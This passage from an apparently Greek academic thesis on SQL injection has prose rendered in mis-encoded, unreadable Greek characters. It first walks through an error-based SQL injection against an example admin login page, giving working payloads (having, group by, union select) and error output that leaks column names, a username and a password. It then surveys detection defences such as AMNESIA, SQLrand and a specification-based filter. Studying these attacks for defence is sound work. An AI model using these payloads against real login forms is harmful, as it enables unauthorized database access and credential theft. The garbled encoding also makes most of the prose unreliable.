πνπ ζα επηζηξαθνύλ από ηνλ server.Tε ζπγθεθξηκέλε επίζεζε ζα ηελ παξνπζίαζνπκε 

ρξεζηκνπνηώληαο έλα παξάδεηγκα: 

Δίκαζηε κπξνζηά ζε έλα login prompt ην νπνίν δεηρλεη θάπσο εηζη:  

 

―/Administrator/login.asp‖  

 

Υξεηαδόκαζηε έλα username θαη έλα password .΢ίγνπξα ε κέζνδνο brute force,δελ είλαη 

θαη ε πιένλ απνδνηηθή ζε ρξόλν.Η ιύζε καο εηλαη ε SQL Injection .΋πσο ιέεη θαη ν ηίηινο,ζα 

επηρεηξήζνπκε Error Based SQL Injection .Σα βαζηθά(όπσο ζπληαμε ηεο SQL) ζα 

παξαιεθζνύλ θαζώο έρνπλ επηζεκαλζεί πξνεγνπκέλσο.Αξρίδνπκε ηελ επίζεζε καο  κε κία 

having ζην πεδίν ηνπ username.Παηάκε νπνηνδήπνηε γξάκκα γηα password,ή απιά δίλνπκε 

κία ηειεία . 

   Π.ρ 'having 1=1 -- . 

 

Απνηέιεζκα: 

Microsoft OLE DB Provider for ODBC Drivers error                                                                   

'80040e14' [Microsoft][ODBC SQL   Server Driver][SQL Server]Column                        

'login.primarykey' is invalid in the select list because it is not 

contained in an aggregate function and there is no GROUP BY clause.       

/Administrator/login.asp, line 27 

 

Παξαηεξνύκε όηη έρνπκε ην πξώην καο ζθάικα.΋πσο βιέπνπκε ,ην πξώην error απνηειεί  

ην  πξώην ζθαινπάηη γηα λα πξνρσξήζνπκε .Σν πξσηεύσλ θιεηδί ηνπ Login είλαη αθξηβώο 

απηό πνπ ζέιακε: Έλαο πίλαθαο κε όλνκα “login” θαη ζηήιε “primarykey”. 

 

΢πλερίδνπκε  ρξεζηκνπνηώληαο κηα Group By.Θα είλαη ηώξα θάπσο έηζη:'group by 

login.primarykey having 1=1 -- . ΋πσο βιέπνπκε,ρξεζηκνπνηήζακε ηα ζηνηρεία πνπ βξήθακε 

πξνπγνπκέλσο .  

Απνηέιεζκα: 

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'        

[Microsoft][ODBC SQL Server Driver][SQL Server]Column            

‗login.username' is invalid in the select list because it is not                    

contained in either an aggregate function or the GROUP BY              
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clause.                                                                              

/Administrator/login.asp, line 2     

 

Από ην παξαπάλσ βξήθακε έλα αθνκα όλνκα ζηήιεο ηνπ πίλαθά καο κε νλνκα 

”username”.΢πλερίδνπκε κε ην ίδην ζθεπηηθό γηα λα απνθαιύςνπκε όιεο ηηο ζηήιεο ηνπ 

πίλαθα .Σν επόκελν βήκα κπνξεί λα είλαη θάπσο έηζη: 

 

 'group by login.primarykey, username having 1=1 -- . 

 

Υξεζηκνπνηήζακε πάιη ηηο πιεξνθνξίεο πνπ ιάβακε ζην πξνπγνύκελν βήκα .΢πλερίδνπκε 

κε ηνλ ίδην ηξόπν έηζη ώζηε λα δνύκε κηα ζειίδα πνπ λα θαίλεηαη θαλνληθά .Η εληνιε δειαδή 

πνπ ρξεζηκνπνηνύκε όιν απηό ην δηάζηεκα είλαη ε „group by TABLE_NAME.COLUMN1, 

COLUMN2, COLUMN3 having 1=1--„ .Δάλ ζέινπκε κόλν ην username θαη ην password 

ηόηε δελ ρξεηάδεηαη λα βξνύκε όιεο ηηο ζηήιεο ηνπ πίλαθα .Παξόια απηά κπνξεί θάπνα ζηήιε 

λα πεξηέρεη ΠΟΛΤ ρξήζηκεο πιεξνθνξίεο. 

Σν επόκελό καο βήκα είλαη λα πάξνπκε ην username θαη ην password .Πάιη κπνξνύκε λα    

δεηήζνπκε ό,ηη ζέινπκε αιιά ρξεηαδόκαζηε ηα παξαπάλσ ζηνηρεία .Δάλ μέξνπκε θάπνην 

username,πξάγκα όρη θαη ηόζν πηζαλό,δεηάκε ην password ηνπ ζπληάζζνληαο κηα αθνκα 

SQL εληνιή.΢ε πεξίπησζε πνπ δελ μεξνπκε θάπνην ηόηε βξίζθνπκε έλα username ζηε ζηήιε  

'username'. 

Π.ρ βξίζθνπκε ην κηθξόηεξν όλνκα πνπ είλαη κεγαιύηεξν απν ην “a” .΢ην παξάδεηγκα 

απηό,είλαη πνιύ πηζαλό λα εκθαληζηεί ην όλνκα “admin”.Απηό κπνξεί λα γίλεη θάπσο έηζη : 

 

' union select min(username),1,1,1,1 from login where username > 'a'-- .       

 

Απνηειέζκαηα: 

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'                            

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error                            

converting the nvarchar value 'ab***ilr' to a column of data type int.                

/Administrator/login.asp, line 27              

 

Μόιηο ην βξήθακε.Σν username θαιπκκέλν θπζηθά κε αζηεξίζθνπο .Σώξα κπνξνύκε λα  

έρνπκε πνιύ εύθνια πξόζβαζε ζην username . Απηό κπνξεί λα γίλεη θάπσο έηζη : 

 

 'union select min(password),1,1,1,1 from login where username = 'ab***ilr'-- . 
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Καη ηειηθά ην απνηέιεζκα: 

 

Microsoft OLE DB Provider for ODBC Drivers€ error '80040e07'                        

 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error                          

converting the nvarchar value 'ar***all' to a column of data type int.            

/Administrator/login.asp, line 27        

 

Παξαηεξνύκε όηη έρνπκε απηό πνπ δεηνύζακε.Γηθαηώκαηα πξόζβαζεο ζηελ βάζε 

δεδνκέλσλ ηεο επηζπκεηήο  ηζηνζειίδαο. 

Ο θώδηθαο ηεο SQL κπνξεί θπζηθά λα δηαθέξεη, γη‟απηό κπνξνύκε λα ρξεζηκνπνηήζηε ηελ 

SQL κε ηνλ πην απνδνηηθό γηα καο ηξόπν .Η νπζία είλαη όηη θξαηάκε απηνύ ηνπ είδνπο 

ινγηθή.   
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8.Ανίσνεςζη - Αξιολόγηζη Δςπάθειαρ ηυν Δπιθέζευν  
 

8.1.Tεσνικέρ Ανίσνεςζηρ και ππόλητηρ 

Σν αλ έλαο εηζβνιέαο είλαη ζε ζέζε λα δεη ηα δεδνµέλα  πνπ είλαη απνζεθεπµέλα ζηε 

βάζε δεδνµέλσλ είηε όρη, εμαξηάηαη από ηνλ ηξόπν µε ηνλ νπνίν είλαη θσδηθνπνηεµέλε ε 

εθάζηνηε web εθαξµνγή γηα λα εµθαλίδεη ηα απνηειέζµαηα ησλ εξσηεµάησλ. Απηό πνπ είλαη 

βέβαην είλαη όηη θάπνηνο εηζβνιέαο ζα πξνζπαζήζεη λα εθηειέζεη απζαίξεηεο εληνιέο SQL 

ζηα επάισηα ζεµεία ηνπ ζπζηήµαηνο, είηε γηα λα εθζέζεη είηε γηα λα ζπιιέμεη 

πιεξνθνξίεο.Σν αλ θάπνηνο εηζβνιέαο ζα απνθηήζεη πξόζβαζε ζην ζύζηεµα, εμαξηάηαη 

επίζεο από ην επίπεδν αζθάιεηαο πνπ θαζνξίδεηαη από ηε βάζε δεδνµέλσλ. Η βάζε 

δεδνµέλσλ ζα µπνξνύζε λα ξπζµηζηεί γηα λα πεξηνξίζεη νξηζµέλεο εληνιέο µόλν. Ωζηόζν, ην 

δηθαίσµα ηεο αλάγλσζεο είλαη ζπλήζσο ελεξγνπνηεµέλν ζηηο web εθαξµνγέο. Αθόµα θαη αλ 

έλαο εηζβνιέαο δελ είλαη ζε ζέζε λα ηξνπνπνηήζεη ην ζύζηεµα, ζα είλαη αθόµε ζε ζέζε λα 

δηαβάζεη ηηο πνιύηηµεο πιεξνθνξίεο ηεο βάζεο.Μηα µέζνδνο πνπ ζπζηήλεηαη είλαη λα 

απελεξγνπνηήζνπκε ζηαδηαθά ησλ ρεηξηζµό ιαζώλ. Έηζη ηα ODBC ζθάιµαηα αιιά θαη απηά 

ηνπ SQL Server ζα εµθαλίδνληαη ζηελ νζόλε. Φπζηθά ελλνείηαη όηη απηό ζα γίλεη ζε θάπνηα 

δνθηµαζηηθή πιαηθόξµα. ΢ηε ζπλέρεηα, µπνξνύκε απιά λα δνθηµάζνπκε ηελ εηζαγσγή 

απιώλ απνζηξόθσλ („) ζηελ εθαξµνγή καο γηα λα δνύκε αλ κπνξνύκε λα πξνθαιέζνπκε ηελ 

απνηπρία ηεο. Μηα απνηπρία ζπλήζσο είλαη ελδεηθηηθό ηεο θαθήο επηθύξσζεο ησλ 

ζπµβνινζεηξώλ (strings). Μηα θαιύηεξε µέζνδνο γηα ηνλ έιεγρν ηνπ θώδηθα είλαη λα 

ρξεζηµνπνηήζνπκε έλα εξγαιείν όπσο ην FxCop πνπ ειέγρεη ηνλ θώδηθα ςάρλνληαο γηα 

θώδηθα πξόζβαζεο ζηε βάζε ν νπνίνο δελ ρξεζηµνπνηεί παξαµεηξνπνηεµέλα εξσηήµαηα. Αλ 

έρνπκε ηνλ πεγαίν θώδηθα ηεο εθαξµνγήο καο, ηόηε ζα πξέπεη λα είλαη ζε ζέζε λα 

αλαδεηήζεη όιν ηνλ θώδηθα ν νπνίνο ρξεζηµνπνηείηαη γηα λα απνθηήζεη πξόζβαζε ζηα 

δεδνµέλα θαη λα εμαθξηβώζεη ηνλ ηξόπν µε ηνλ νπνίν απηό γίλεηαη.  

Δάλ δνύκε νπνηαδήπνηε πεξηνρή όπνπ έλα string ζηέιλεηαη απεπζείαο ζηε βάζε, πξέπεη λα 

αληηθαηαζηήζνπκε ηνλ θώδηθα µε θάπνην παξαµεηξνπνηεµέλν εξώηεµα.  

΋πσο πάληα, ν θαιόο έιεγρνο ηνπ θώδηθα είλαη ε θαιύηεξε µέζνδνο.  

Οη εξεπλεηέο έρνπλ πξνηείλεη κηα ζεηξά ηερληθώλ γηα λα αληηζηαζκίζνπλ ηηο αλεπάξθεηεο 

ζηελ εθαξκνγή ησλ ακπληηθώλ πξαθηηθώλ θσδηθνπνίεζεο. Παξαθάησ πεξηγξάθνληαη 

ηέζζεξηο από ηηο δηάθνξεο ηερληθέο απηνκαηνπνηεκέλεο αλίρλεπζεο πνπ έρνπλ πξνηαζεί.  

 

 

8.2.΢ηαηικοί ελεγκηέρ κώδικα 

Ο JDBC-Checker  είλαη κηα ηερληθή πνπ ειέγρεη ζηαηηθά ηελ νξζόηεηα ηνπ ηύπνπ ησλ 

δπλακηθά παξαγόκελσλ SQL εξσηεκάησλ. Απηή ε ηερληθή δελ αλαπηύρζεθε κε πξόζεζε ηελ 
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αλίρλεπζε γεληθώλ επηζέζεσλ SQL  έγρπζεο,  σζηόζν κπνξεί λα ρξεζηκνπνηεζεί γηα λα 

απνηξέςεη επηζέζεηο πνπ εθκεηαιιεύνληαη ηνπο θαθνύο ζπλδπαζκνύο ηύπσλ ζε έλα δπλακηθά 

παξαγόκελν εξώηεκα. Ο JDBC-Checker είλαη ζε ζέζε λα αληρλεύζεη κηα από ηηο πξσηαξρηθέο 

αηηίεο εππαζεηώλ SQL  έγρπζεο ζηνλ θώδηθα, πνπ είλαη ν εζθαικέλνο έιεγρνο ηύπνπ ηεο 

εηζόδνπ. Δληνύηνηο, απηή ε ηερληθή ελδέρεηαη λα κελ πηάζεη γεληθόηεξεο κνξθέο επηζέζεσλ 

SQL  έγρπζεο,  επεηδή νη πεξηζζόηεξεο από απηέο ηηο επηζέζεηο απνηεινύληαη από ζσζηά ζε 

ζύληαμε θαη ηύπν εξσηήκαηα. Οη Wassermann θαη SU πξόηεηλαλ κηα πξνζέγγηζε πνπ 

ρξεζηκνπνηεί ζηαηηθή αλάιπζε ζπλδπαζκέλε κε απηνκαηνπνηεκέλε αηηηνιόγεζε (automated 

reasoning)  γηα λα δηαπηζησζεί όηη ηα SQL  εξσηήκαηα δελ πεξηέρνπλ επηζέζεηο ηαπηνινγίαο .  

Σν βαζηθό κεηνλέθηεκα απηήο ηεο ηερληθήο είλαη όηη ε εκβέιεηα ηεο είλαη πεξηνξηζκέλε ζηελ 

αλίρλεπζε κόλν ησλ ηαπηνινγηώλ θαη δελ κπνξεί λα αληρλεύζεη άιινπο ηύπνπο επηζέζεσλ. 

 

8.3.΢ςνδςαζμένη ζηαηική και δςναμική ανάλςζη 

Σν AMNESIA  είλαη έλα εξγαιείν βαζηζκέλν ζε κνληέια πνπ ζπλδπάδεη ζηαηηθή αλάιπζε 

θαη έιεγρν θαηά ην ρξόλν εθηέιεζεο. ΢ηελ πξώηε θάζε ηνπ,ην AMNESIA ρξεζηκνπνηεί 

ζηαηηθή αλάιπζε γηα λα ρηίζεη ηα κνληέια ησλ δηαθνξεηηθώλ ηύπσλ εξσηεκάησλ πνπ κπνξεί 

κηα εθαξκνγή λα παξάγεη λόκηκα ζε θάζε ζεκείν πξόζβαζεο ζηε βάζε δεδνκέλσλ.  ΢ηε 

δπλακηθή θάζε ηνπ,  ειέγρεη θάζε εξώηεκα ελάληηα ζηα ζηαηηθά κνληέια, πξνηνύ απηό 

ζηαιεί ζηε βάζε δεδνκέλσλ. Σα εξσηήκαηα πνπ παξαβηάδνπλ ην κνληέιν πξνζδηνξίδνληαη 

σο επηζέζεηο SQL  έγρπζεο θαη απνηξέπεηαη ε εθηέιεζε ηνπο ζηε βάζε δεδνκέλσλ.  ΢ηελ 

απνηίκεζε ηνπο,  νη δεκηνπξγνί ηεο ζπγθεθξηκέλεο ηερληθήο έρνπλ δείμεη όηη απηή απνδίδεη 

θαιά ελάληηα ζε επηζέζεηο SQL έγρπζεο. Ο βαζηθόο πεξηνξηζκόο απηνύ ηνπ κεραληζκνύ είλαη 

όηη απαηηεί ηελ ηξνπνπνίεζε ηεο αξρηθήο εθαξκνγήο ηζηνύ κε ηελ ελζσκάησζε ειέγρσλ πξηλ 

από θάζε θιήζε ζηε βάζε δεδνκέλσλ.  Αθόκα ε επηηπρία ηεο ηερληθήο εμαξηάηαη από ηελ 

αθξίβεηα ηεο ζηαηηθήο αλάιπζήο γηα ηελ νηθνδόκεζε ησλ κνληέισλ εξσηεκάησλ.  

 

8.4.΢ςζηήμαηα ανίσνεςζηρ ανυμαλιών 

Οη Valeur, Mutz  θαη Vigna πξνηείλνπλ ηε ρξήζε ελόο ζπζηήκαηνο αλίρλεπζεο 

παξεηζθξήζεσλ πνπ ρξεζηκνπνηεί πνιιαπιά κνληέια αλίρλεπζεο αλσκαιηώλ γηα λα 

αληρλεύζεη επηζέζεηο SQL  έγρπζεο.Σν ζύζηεκα ηνπο είλαη βαζηζκέλν ζε κηα ηερληθή 

εθκάζεζεο κεραλήο,πνπ εθπαηδεύεηαη ρξεζηκνπνηώληαο έλα ζύλνιν ραξαθηεξηζηηθώλ SQL 

εξσηεκάησλ ηεο εθαξκνγήο ηζηνύ.   

Η ηερληθή ρηίδεη πξόηππα ησλ ραξαθηεξηζηηθώλ εξσηεκάησλ θαη έπεηηα ειέγρεη ηελ 

εθαξκνγή ηζηνύ θαηά ην ρξόλν εθηέιεζεο γηα λα πξνζδηνξίζεη ηα εξσηήκαηα πνπ δελ 

ηαηξηάδνπλ κε ην πξόηππν. ΢ηελ αμηνιόγεζε ηνπο, έρνπλ δείμεη όηη ην ζύζηεκά είλαη ζε ζέζε 

λα αληρλεύζεη επηζέζεηο κε πςειό πνζνζηό επηηπρίαο. Δληνύηνηο,  ν ζεκειηώδεο πεξηνξηζκόο 
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ησλ ηερληθώλ πνπ βαζίδνληαη ζηελ εθκάζεζε είλαη όηη απηέο δελ κπνξνύλ λα παξέρνπλ θακία 

εγγύεζε γηα ηηο δπλαηόηεηεο αλίρλεπζεο ηνπο,  επεηδή ε επηηπρία ηνπο εμαξηάηαη από ηελ 

πνηόηεηα SQL θώδηθα  ρξεζηκνπνηνύκελνπ ζπλόινπ εθπαίδεπζεο.  Έλα θησρό ζύλνιν 

εθπαίδεπζεο ζα νδεγνύζε ηελ ηερληθή εθκάζεζεο λα παξάγεη έλα κεγάιν αξηζκό 

εζθαικέλσλ εθηηκήζεσλ. 

 

8.5.Σςσαιοποίηζη πεπεπηοπίος ενηολών 

Σν SQLrand είλαη κηα πξνζέγγηζε βαζηζκέλε ζηελ ηπραηνπνίεζε ηνπ ξεπεξηνξίνπ 

εληνιώλ.Σν SQLrand  παξέρεη έλα πιαίζην πνπ επηηξέπεη ζηνπο κεραληθνύο αλάπηπμεο ησλ 

εθαξκνγώλ λα δεκηνπξγήζνπλ SQL εξσηήκαηα ρξεζηκνπνηώληαο ηπραίεο εληνιέο, αληί ησλ 

θαλνληθώλ ιέμεσλ θιεηδηώλ ηεο γιώζζαο SQL. Έλα πιεξεμνύζην θίιηξν δηαθόπηεη ηα 

εξσηήκαηα πνπ θαηεπζύλνληαη πξνο ηε βάζε δεδνκέλσλ θαη απνθσδηθνπνηεί ηηο ιέμεηο 

θιεηδηά.  Ο SQL  θώδηθαο πνπ εγρέεηαη από έλαλ επηηηζέκελν δελ ζα έρεη θαηαζθεπαζηεί 

ρξεζηκνπνηώληαο ην ηπραίν ζύλνιν εληνιώλ. Δπνκέλσο, νη εγρεόκελεο εληνιέο ζα νδεγνύζαλ 

ζε έλα ζπληαθηηθά ιαλζαζκέλν εξώηεκα. Δλώ απηή ε ηερληθή κπνξεί λα είλαη πνιύ 

απνηειεζκαηηθή,  έρεη δηάθνξα πξαθηηθά κεηνλεθηήκαηα.Καη' αξράο, δεδνκέλνπ όηη 

ρξεζηκνπνηεί έλα κπζηηθό θιεηδί γηα λα ηξνπνπνηήζεη ηηο εληνιέο,ε αζθάιεηα ηεο 

πξνζέγγηζεο εμαξηάηαη από ην θαηά πόζν νη επηηηζέκελνη είλαη ζε ζέζε λα αλαθαιύςνπλ 

απηό ην θιεηδί. Γεύηεξνλ, ε πξνζέγγηζε επηβάιιεη κηα πξόζζεηε ππνδνκή, επεηδή απαηηεί ηελ 

ελζσκάησζε ελόο πιεξεμνύζηνπ γηα ηε βάζε δεδνκέλσλ ζην ζύζηεκα. 

 

8.6.Ανίσνεςζη βαζιζμένη ζε πποδιαγπαθέρ 

΢ηελ εξγαζία απηή, πξνηείλεηαη κηα θαηλνύξηα ηερληθή γηα ηελ αληηκεηώπηζε επηζέζεσλ 

SQL  έγρπζεο. Η πξνζέγγηζε αμηνπνηεί πξνδηαγξαθέο αζθαιείαο πνπ θαζνξίδνπλ ηελ νξζή 

ζπληαθηηθή δνκή ησλ SQL  δειώζεσλ πνπ παξάγνληαη από ηελ εθαξκνγή.  Οη SQL  

δειώζεηο πνπ παξαβηάδνπλ ηηο πξνδηαγξαθέο ραξαθηεξίδνληαη σο επηζέζεηο θαη εκπνδίδεηαη ε 

εθηέιεζε ηνπο,  πξνιακβάλνληαο κε απηό ηνλ ηξόπν ηηο δεκηέο πνπ ζα είραλ πξνθιεζεί.Σν 

κνληέιν αλίρλεπζεο βάζε πξνδηαγξαθώλ πξνηάζεθε αξρηθά από ηνλ Calvin Ko,ν νπνίνο 

ζρεδίαζε θαη πινπνίεζε έλα ζύζηεκα αλίρλεπζεο παξεηζθξήζεσλ,ην νπνίν παξαθνινπζνύζε 

ηελ εθηέιεζε πξνγξακκάησλ θξίζηκσλ γηα ηελ αζθάιεηα ηνπ ζπζηήκαηνο θαη αλίρλεπε 

ζπκπεξηθνξέο πνπ ήηαλ αζπλεπείο κε ηηο πνιηηηθέο ηνπο.  Ο ζηόρνο ηνπ κνληέινπ απηνύ ήηαλ 

λα μεπεξαζηνύλ ηα κεηνλεθηήκαηα ησλ κνληέισλ αλίρλεπζεο θαθήο ζπκπεξηθνξάο (misuse 

detection). ΢ηελ βαζηζκέλε ζηηο πξνδηαγξαθέο αλίρλεπζε απαηηείηαη ε πεξηγξαθή ηεο 

αλακελόκελεο ζπκπεξηθνξάο θαη όρη ε πεξηγξαθή ησλ πηζαλώλ επηζέζεσλ. Η αλίρλεπζε 

θαθήο ζπκπεξηθνξάο πξνϋπνζέηεη γλώζε όισλ ησλ εππαζεηώλ ηεο εθαξκνγήο ή ησλ 

δπλεηηθώλ εππαζεηώλ πνπ νη επηηηζέκελνη κπνξνύλ λα εθκεηαιιεπηνύλ.  Σν θύξην 
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πιενλέθηεκα ησλ ηερληθώλ θαθήο ζπκπεξηθνξάο είλαη όηη κπνξνύλ λα εγγπεζνύλ ηελ 

αλίρλεπζε γλσζηώλ επηζέζεσλ, αλ ε πεξηγξαθή ησλ επηζέζεσλ απηώλ πεξηιακβάλεηαη ζηε 

βάζε δεδνκέλσλ ηνπ ζπζηήκαηνο αλίρλεπζεο.  

Ο βαζηθόο ηνπο πεξηνξηζκόο όκσο είλαη ε αδπλακία ηνπο λα αληρλεύζνπλ λέεο επηζέζεηο, 

παξαιιαγέο γλσζηώλ επηζέζεσλ ή απιά επηζέζεηο πνπ είλαη άγλσζηεο ζηνπο δεκηνπξγνύο 

ησλ θαλόλσλ πεξηγξαθήο ηεο θαθήο ζπκπεξηθνξάο. 

Αληίζεηα,  νη πξνδηαγξαθέο ζηελ πξνηεηλόκελε ηερληθή είλαη αλεμάξηεηεο από ηηο 

εππάζεηεο ηεο εθαξκνγήο,  νπόηε ε ηερληθή αλίρλεπζεο βαζηζκέλε ζε πξνδηαγξαθέο έρεη ηε 

δπλαηόηεηα λα αληρλεύζεη λένπο ηύπνπο επηζέζεσλ.Η λέα ηερληθή γηα ηελ αλίρλεπζε θαη 

αληηκεηώπηζε ησλ επηζέζεσλ SQL  έγρπζεο απνηειείηαη από κηα ζεηξά θάζεσλ πνπ πξέπεη λα 

αθνινπζεζνύλ, ώζηε θάζε SQL  δήισζε πνπ πξόθεηηαη λα εθηειεζηεί λα ειέγρεηαη δηεμνδηθά 

γηα λα δηαπηζησζεί όηη δελ έρεη κνιπλζεί κέζσ ηεο έγρπζεο θαθόβνπινπ θώδηθα. 

Αθνινύζσο,απαξηζκνύληαη θαη αλαιύνληαη νη θάζεηο ηεο ηερληθήο. 

 

Φάζε 1ε: Καζνξηζκόο ησλ πξνδηαγξαθώλ 

Δμέρνπζα ζεκαζία γηα ηελ ιεηηνπξγία ηεο πξνηεηλόκελεο ηερληθή πξνζηαζίαο θαηέρνπλ νη 

πξνδηαγξαθέο ηεο εθαξκνγήο ηζηνύ. Οη πξνδηαγξαθέο είλαη έλα ζύλνιν θαλόλσλ πνπ 

πεξηγξάθνπλ ηελ αλακελόκελε κνξθή ησλ SQL εξσηεκάησλ πνπ παξάγνληαη από ηελ 

εθαξκνγή.  Γηα θάζε πηζαλό SQL  εξώηεκα πνπ πξόθεηηαη λα εθηειεζηεί από ηελ εθαξκνγή 

δεκηνπξγείηαη έλαο θαλόλαο, πνπ πξνζδηνξίδεη ηε δνκή πνπ πξέπεη λα έρεη ην εξώηεκα ώζηε 

λα ζεσξείηαη έγθπξν.Οη πξνδηαγξαθέο δελ είλαη γεληθέο, αιιά απελαληίαο είλαη άκεζα 

ζπλδεδεκέλεο κε ηελ εθαξκνγή πνπ απνηειεί ην αληηθείκελν πξνζηαζίαο.  Γηα παξάδεηγκα,  

δελ πξέπεη λα νξηζηνύλ νη πξνδηαγξαθέο ηεο γεληθήο δήισζεο SELECT,  αιιά αληίζεηα 

πξέπεη λα δνζνύλ νη θαλόλεο πνπ πεξηγξάθνπλ ηηο δειώζεηο SELECT  κε ηε κνξθή πνπ 

ρξεζηκνπνηνύληαη ζηελ ζπγθεθξηκέλε εθαξκνγή. Δίλαη θξίζηκν λα ζεκεησζεί, όηη παξά ηελ 

έγρπζε μέλνπ θώδηθα,  ηα  “δειεηεξηαζκέλα” SQL  εξσηήκαηα παξακέλνπλ ζπληαθηηθά 

νξζά,  γη‟  απηό θαη εθηεινύληαη από ηε βάζε δεδνκέλσλ.Αλ δνζνύλ πξνδηαγξαθέο γηα ηε 

γεληθή ζύληαμε ησλ δειώζεσλ ηεο γιώζζαο SQL, νη πεξηζζόηεξεο από ηεο επηζέζεηο SQL 

έγρπζεο δελ ζα κπνξνύλ λα εληνπηζηνύλ γηαηί ζα ζεσξνύληαη έγθπξεο κε βάζε ηνπο 

ζπληαθηηθνύο θαλόλεο ηεο SQL. 

Η ηερληθή αλίρλεπζεο βαζίδεηαη ζην γεγνλόο όηη ηα εξσηήκαηα πνπ έρνπλ δερηεί επίζεζε 

παξνπζηάδνπλ ραξαθηεξηζηηθέο απνθιίζεηο ζηε δνκή ηνπο ζε ζρέζε κε ηα πξσηόηππα 

εξσηήκαηα. Οπόηε, αλ θαζνξηζηνύλ ζαθήο θαλόλεο πνπ ζα πεξηγξάθνπλ ηε δνκή ησλ 

απζεληηθώλ SQL εξσηεκάησλ πνπ πεξηέρνληαη ζηελ εθαξκνγή, είλαη δπλαηόο ν εληνπηζκόο 

θαθόβνπισλ ηξνπνπνηήζεσλ πνπ κεηαβάινπλ απηή ηε δνκή.   
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Φάζε 2ε: Αλαραίηηζε SQL δήισζεο 

Η θίλεζε κεηαμύ ηεο εθαξκνγήο ηζηνύ θαη ηεο βάζεο δεδνκέλσλ θηιηξάξεηαη θαη 

αλαγλσξίδνληαη νη SQL δειώζεηο πνπ απνζηέιινληαη από ηε κία ζηελ άιιε πιεπξά. Η 

επηθνηλσλία δηαθόπηεηαη θαη νη SQL  δειώζεηο δελ κεηαβηβάδνληαη πξνο ηε βάζεδεδνκέλσλ,  

αιιά αλη‟  απηνύ ππόθεηληαη ζε κηα ζεηξά ελεξγεηώλ,  πνπ πεξηγξάθνληαη ζηηο επόκελεο 

θάζεηο,  κε ζθνπό λα αληρλεπζνύλ πηζαλέο επηζέζεηο δειεηεξίαζεο θώδηθα. Με ηνλ ηξόπν 

απηό εκπνδίδεηαη ε άκεζε εθηέιεζε ηεο δήισζεο, πξνηνύ απηή ειεγρζεί θαη πηζηνπνηεζεί όηη 

είλαη έγθπξε.  

 

Φάζε 3ε: Λεθηηθή αλάιπζε 

Η SQL  δήισζε πνπ έρεη αλαθηεζεί αλαγλσξίδεηαη αξρηθά σο έλα αδόκεην ζύλνιν 

ραξαθηήξσλ,γηα ην νπνίν δελ είλαη δπλαηόλ λα πξνζδηνξηζηνύλ ηα ζπληαθηηθά κέξε από ηα 

νπνία απνηειείηαη.Απηή ε αθαηέξγαζηε είζνδνο πεξλάεη πξώηα από κηα δηαδηθαζία ιεθηηθήο 

αλάιπζεο  θαηά ηελ νπνία νη ραξαθηήξεο νκαδνπνηνύληαη ζε αλεμάξηεηεο νληόηεηεο 

(tokens).Οη αλεμάξηεηεο νληόηεηεο απνηεινύλ ινγηθέο κνλάδεο πνπ απαξηίδνληαη από έλαλ ή 

πεξηζζόηεξνπο ραξαθηήξεο θαη αληηπξνζσπεύνπλ  “ιέμεηο” ηεο γιώζζαο SQL. Οη νληόηεηεο 

κπνξεί λα αληηπξνζσπεύνπλ δεζκεπκέλεο ιέμεηο  (π.ρ. SELECT, DELETE, OR, AND),  

ζύκβνια (π.ρ. +, -, <, <=), ζηαζεξέο (π.ρ. 123, 3.1416), κεηαβιεηέο θ.η.ι.   

 

Φάζε 4ε: Έιεγρνο ζπληαθηηθήο νξζόηεηαο ηεο SQL δήισζεο 

Απηή είλαη ε θπξηόηεξε θάζε ηεο ηερληθήο. Η αθνινπζία αλεμάξηεησλ νληνηήησλ πνπ 

παξήρζεηε θαηά ηελ πξνεγνύκελε θάζε γηα ηελ αλαραηηηζκέλε SQL δήισζε ειέγρεηαη γηα 

ηελ ζπληαθηηθή ηεο νξζόηεηα.  Μηα SQL  δήισζε ζεσξείηαη ζσζηή αλ δελ παξαβηάδεη ηνπο 

ζπληαθηηθνύο θαλόλεο πνπ ππάξρνπλ ζηηο πξνδηαγξαθέο ηεο εθαξκνγήο,  όπσο έρνπλ απηνί 

νξηζηεί θαηά ηελ πξώηε θάζε ηεο ηερληθήο.Η ζεηξά ησλ ιεμηινγηθώλ νληνηήησλ πνπ 

παξάγεηαη από ηε θάζε ηεο ιεθηηθήο αλάιπζεο κπαίλεη σο είζνδνο ζηε δηαδηθαζία ηεο 

ζπληαθηηθήο αλάιπζεο,  όπνπ πξνζδηνξίδεηαη αλ ε SQL  δήισζε κπνξεί λα δεκηνπξγεζεί 

από ηνπο θαλόλεο ησλ πξνδηαγξαθώλ.  

 

Φάζε 5ε: Πξνώζεζε ηεο SQL δήισζεο ζηε βάζε δεδνκέλσλ 

΢ηελ πεξίπησζε πνπ ην απνηέιεζκα ηνπ ζπληαθηηθνύ ειέγρνπ επηβεβαηώζεη όηη ε SQL 

δήισζε αθνινπζεί ηνπο θαλόλεο ησλ πξνδηαγξαθώλ θαη όηη δελ πεξηέρεη ίρλε εγρεόκελνπ 

θώδηθα,  ηόηε ε δήισζε κπνξεί λα πξνσζεζεί πξνο ηε βάζε δεδνκέλσλ πξνθεηκέλνπ λα 

εθηειεζηεί θαη λα επηζηξαθνύλ ηα δεηνύκελα δεδνκέλα ζηελ εθαξκνγή ηζηνύ.Τπελζπκίδεηαη 

όηη ε θαλνληθή εθηέιεζε ηεο SQL δήισζεο παξεκπνδίζηεθε θαηά ηελ δεύηεξε θάζε, νπόηε 

ην εάλ ζα εθηειεζηεί ή όρη ε δήισζε εμαξηάηαη απνθιεηζηηθά από ην απνηέιεζκα απηήο ηεο 
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θάζεο. Αλ ζε κηα ζπγθεθξηκέλε δήισζε αληρλεπηεί επίζεζε SQL έγρπζεο, ηόηε ε δήισζε 

απηή ηεξκαηίδεηαη ζε απηό ην ζεκείν θαη δελ πξνσζείηαη ζηε βάζε δεδνκέλσλ.  

 

Φάζε 6ε: Καηαγξαθή πιεξνθνξηώλ ειέγρνπ 

Με ηελ νινθιήξσζε ηεο δηαδηθαζίαο ειέγρνπ θάζε SQL  δήισζεο θαηαγξάθνληαη 

απαξαίηεηεο πιεξνθνξίεο κε επαξθή ιεπηνκέξεηα,  κε ζθνπό λα δηεπθνιύλνπλ ηνπο 

δηαρεηξηζηέο λα εμάγνπλ ρξήζηκα ζπκπεξάζκαηα γηα ηελ αζθάιεηα ηεο εθαξκνγήο. Σα αξρεία 

